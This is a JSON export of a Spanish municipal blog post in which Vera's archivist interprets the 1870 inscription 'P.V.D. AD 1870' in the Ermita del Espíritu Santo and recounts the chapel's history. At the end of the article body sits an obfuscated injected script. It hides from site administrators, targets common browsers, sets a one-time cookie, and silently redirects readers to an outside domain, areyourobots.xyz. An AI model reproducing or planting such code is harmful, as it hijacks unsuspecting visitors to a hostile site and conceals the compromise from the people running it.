{"id":118,"date":"2014-04-01T08:36:43","date_gmt":"2014-04-01T08:36:43","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=118"},"modified":"2018-01-15T14:03:23","modified_gmt":"2018-01-15T14:03:23","slug":"la-misteriosa-inscripcion-de-la-ermita-del-espiritu-santo-de-vera-pvd-ad-1870","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2014\/04\/01\/la-misteriosa-inscripcion-de-la-ermita-del-espiritu-santo-de-vera-pvd-ad-1870\/","title":{"rendered":"LA MISTERIOSA INSCRIPCI\u00d3N DE LA ERMITA DEL ESP\u00cdRITU SANTO DE VERA. PVD AD 1870"},"content":{"rendered":"<p>Elevando la mirada hacia el Cerro del Esp\u00edritu Santo, ubicaci\u00f3n de la todav\u00eda por descubrir Vera Vieja, y rodeado de rocas sedimentarias, divisamos un habit\u00e1culo de apariencia vetusta, con puerta y ventanuco rectangular que parece mostrarse como un elemento totalmente natural inserto en el paisaje. La ermita del Cerro Esp\u00edritu Santo.<\/p>\n<p><!--more--><\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/exterior.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-127\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/exterior-300x224.jpg\" alt=\"exterior\" width=\"300\" height=\"224\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/exterior-300x224.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/exterior.jpg 564w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Su funci\u00f3n inicial fue la de ser <strong>aljibe<\/strong> de la secular Ciudad en \u00e9poca musulmana. Llegados los cristianos, presumimos que sigui\u00f3 si\u00e9ndolo, hasta su destrucci\u00f3n por el terremoto de 1518. Hay un debate sobre cu\u00e1ndo comenz\u00f3 a utilizarse como ermita, si es que no lo fue desde un principio. Como certeza tenemos la noticia de que, durante la Guerra de la Independencia (1808-1812), sufriendo la epidemia de fiebre amarilla que seg\u00f3 la vida de 1500 personas en pocos meses, se utiliz\u00f3 como <strong>lazareto<\/strong> o lugar de cuarentena para los veratenses que sufrieron sus s\u00edntomas horribles hasta morir. En esos escritos de 1811 ya se la llamaba \u2018ermita del Esp\u00edritu Santo\u2019.<\/p>\n<p>Con motivo de su reforma y acondicionamiento para albergar una sala de exposiciones en el a\u00f1o 2006-2007 me consultaron qu\u00e9 pod\u00edan significar unas iniciales con fecha que se siguen leyendo en una de las paredes de ascenso al coro de la ermita -la cuesti\u00f3n de la estrella de ocho picos de la entrada es otro cantar-. La inscripci\u00f3n, realizada con una plantilla y de color negro, reza: <strong><i>P.V.D. AD 1870<\/i><\/strong>.<\/p>\n<p>Investigando sobre la cuesti\u00f3n llegu\u00e9 a la conclusi\u00f3n de que corresponde a la expresi\u00f3n latina: <strong><i>PER VOLUNTAS DEI <\/i>\/<\/strong><i><strong>DOMINI<\/strong>,<\/i> \u00abPor la Voluntad de Dios\u00bb, \u00abSeg\u00fan la Voluntad o permiso de Dios\u00bb, \u00abDios mediante\u00bb o, simplemente, \u00abGracias a Dios\u00bb. El resto de la inscripci\u00f3n, <b>AD 1870<\/b>: <strong><i>ANNO DOMINI 1870<\/i><\/strong>, es decir \u00abEn el A\u00f1o del Se\u00f1or de 1870\u00bb.<\/p>\n<p>Una interpretaci\u00f3n <strong>jur\u00eddica<\/strong> nos llevar\u00eda a la adquisici\u00f3n de una propiedad con el \u2018permiso del propietario\u2019; una <strong>teol\u00f3gica:<\/strong> ya en las catacumbas romanas se encuentra esta referencia a la antigua expresi\u00f3n de <i>Voluntad de Dios<\/i>, cuando los cristianos ten\u00edan que esconderse para poder reunirse y orar, alabar y compartir el pan. Sus vidas estaban en peligro, porque en algunos momentos fueron perseguidos por los que poco tiempo despu\u00e9s ser\u00edan sus defensores al hacer sobrevivir su Imperio en la Iglesia Romana. Era una forma de pedir a Dios su protecci\u00f3n.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/altar.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-123\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/altar-225x300.jpg\" alt=\"altar\" width=\"225\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/altar-225x300.jpg 225w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/altar.jpg 567w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>En este a\u00f1o de <strong>1870<\/strong> Vera es un municipio en el que una burgues\u00eda s\u00f3lidamente establecida gracias a la miner\u00eda comienza a dar a lo urbano una mayor importancia, proyectando obras como el nuevo edificio del Ayuntamiento, el Cementerio de San Jos\u00e9, el Teatro Cervantes, la Plaza de Toros&#8230; Es muy posible que esta ermita entrase en esos nuevos planes regeneradores y, en este caso, tendentes a una necesaria recreaci\u00f3n del pasado veratense. Puede que incluso estuviera reservada al culto de ciertas familias m\u00e1s pudientes.<\/p>\n<p>Durante\u00a0este a\u00f1o de <strong>1870<\/strong> hay un acontecimiento que puede ofrecer algo de luz para comprender mejor la inscripci\u00f3n (PVD): en las actas del Pleno se vuelve a hablar de fiebre amarilla (fol. 47) y se suspende la Feria al imponerse la cuarentena (se cre\u00eda que algunos g\u00e9neros procedentes de Barcelona eran la causa). En <strong>1872<\/strong> se habla de <strong>c\u00f3lera<\/strong> morboasi\u00e1tica. A principios de ese a\u00f1o se ordena la construcci\u00f3n del <strong>nuevo cementerio<\/strong> de san Jos\u00e9 y\u00a0se construye una capilla en \u00e9l (1873). Y muere la esposa de don <strong>Ram\u00f3n Orozco Gerez<\/strong> (Ana de Segura Burruezo). La sobrevivir\u00e1 casi diez a\u00f1os m\u00e1s.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/inauguraci\u00f3n.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-124\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/inauguraci\u00f3n-300x199.jpg\" alt=\"inauguraci\u00f3n\" width=\"300\" height=\"199\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/inauguraci\u00f3n-300x199.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/inauguraci\u00f3n-1024x680.jpg 1024w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/inauguraci\u00f3n.jpg 1065w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>El p\u00e1rroco de Vera en ese tiempo fue <strong>don Juan Romero Ramos<\/strong>; los presb\u00edteros: don Jos\u00e9 Torres Cano, don Vicente Romi del Salto y don Pedro Mar\u00eda Orozco Rosa. Beneficiado: don Antonio Caparr\u00f3s.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/100_0008.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-122\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/100_0008-225x300.jpg\" alt=\"100_0008\" width=\"225\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/100_0008-225x300.jpg 225w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/100_0008.jpg 567w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p><strong>La tradici\u00f3n oral<\/strong> (l\u00e9ase <i>Un soldado veratense en la Guerra de Marruecos<\/i>, de Pedro Contreras Salas) nos informa sobre el uso que tuvo la ermita en el siglo XIX como capilla o templo dedicado al <strong>bautismo<\/strong> de algunas personas elegidas de Vera. Ni los libros de bautizo del Archivo Parroquial de Vera ni otros documentos han corroborado estos comentarios. La arqueolog\u00eda quiz\u00e1 s\u00ed: dentro del templo, en una esquina de la entrada se observa lo que podr\u00eda haber sido la base de una pila bautismal o de agua bendita. A\u00f1adiremos como curiosidad que la capacidad del recinto puede albergar unas cien o ciento cincuenta personas. En el padr\u00f3n de habitantes de 1872 llevan el tratamiento de \u2018don\u2019 o \u2018do\u00f1a\u2019 112 hombres y 105 mujeres\u2026<\/p>\n<p>Todo lleva a pensar que muchos veratenses, aun habiendo pasado dos o tres siglos desde el terremoto de 1518, segu\u00edan teniendo al Cerro del Esp\u00edritu Santo, el de la Vera Vieja, como un <strong>lugar sagrado<\/strong> donde murieron los primeros veratenses cristianos. Nos preguntamos entonces: \u00bfse realizaban en esa ermita ritos cat\u00f3licos complementarios a los realizados en la Iglesia Parroquial?\u00bfSe realizaban ritos exclusivos?\u00bfPor qu\u00e9 motivo?\u00bfPor qu\u00e9 no se indicaba en los libros de bautizos de Vera?<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/pila.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-121\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/pila-300x224.jpg\" alt=\"pila\" width=\"300\" height=\"224\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/pila-300x224.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2014\/03\/pila.jpg 567w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>En el momento de demostrar la relaci\u00f3n de esta ermita con el bautismo, hallar\u00edamos una agradable vinculaci\u00f3n casual entre los primeros bautizos que se realizaban en Roma y los de la Ermita del Esp\u00edritu Santo de Vera.<\/p>\n<p>Manuel Caparr\u00f3s Perales<\/p>\n<p>Archivero Municipal de Vera<\/p>\n<p>05-03-14<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Elevando la mirada hacia el Cerro del Esp\u00edritu Santo, ubicaci\u00f3n de la todav\u00eda por descubrir Vera Vieja, y rodeado de rocas sedimentarias, divisamos un habit\u00e1culo de apariencia vetusta, con puerta y ventanuco rectangular que parece mostrarse como un elemento totalmente natural inserto en el paisaje. La ermita del Cerro Esp\u00edritu Santo.<\/p>\n","protected":false},"author":7,"featured_media":126,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[268,9],"class_list":["post-118","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archivo","tag-s-xix","tag-simbologia"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/118","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=118"}],"version-history":[{"count":15,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/118\/revisions"}],"predecessor-version":[{"id":3443,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/118\/revisions\/3443"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/126"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=118"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=118"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=118"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}